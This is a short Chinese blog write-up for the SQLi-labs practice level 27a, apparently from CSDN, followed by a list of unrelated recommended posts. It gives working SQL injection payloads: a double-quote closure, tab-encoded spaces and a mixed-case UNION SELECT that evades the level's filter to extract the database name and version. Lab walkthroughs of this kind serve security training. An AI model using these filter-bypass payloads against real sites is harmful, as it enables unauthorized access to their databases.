sqllab第二十七A关通关笔记

知识点:

  • 双引号闭合
  • union select 大小写绕过
    • Union Select
  • 这里不能进行错误注入,无回显

经过测试发现这是一个双引号闭合

构造payload:id=1"%09and%091="1

页面成功回显

构造payload:id=0"%09uNion%09SElect%091,2,3%09"1

页面成功回显除了输入内容

获取数据库名和版本信息

构造payload:id=0"%09uNion%09SElect%091,database(),version()%09"1

成功获取了数据库名和版本信息

10

相关推荐
sheeta19983 小时前
LeetCode 每日一题笔记 日期:2025.11.24 题目:1018. 可被5整除的二进制前缀
笔记·算法·leetcode
chinesegf4 小时前
图文并茂的笔记、便签是如何用py开发的
笔记·状态模式
我先去打把游戏先9 小时前
ESP32学习笔记(基于IDF):基于OneNet的ESP32的OTA功能
笔记·物联网·学习·云计算·iphone·aws
初願致夕霞9 小时前
学习笔记——基础hash思想及其简单C++实现
笔记·学习·哈希算法
hd51cc10 小时前
C++ 学习笔记 名称
笔记·学习
摇滚侠10 小时前
2025最新 SpringCloud 教程,负载均衡 API 测试,笔记10
笔记·spring cloud·负载均衡
风123456789~12 小时前
【OceanBase专栏】OB租户-创建实验
数据库·笔记·oceanbase
cmcm!12 小时前
学习笔记1
数据库·笔记·学习
Jay200211113 小时前
【机器学习】7-9 分类任务 & 逻辑回归的成本函数 & 逻辑回归的梯度下降
笔记·机器学习·分类
WXG101114 小时前
【Flask】前后端交互示例
笔记·学习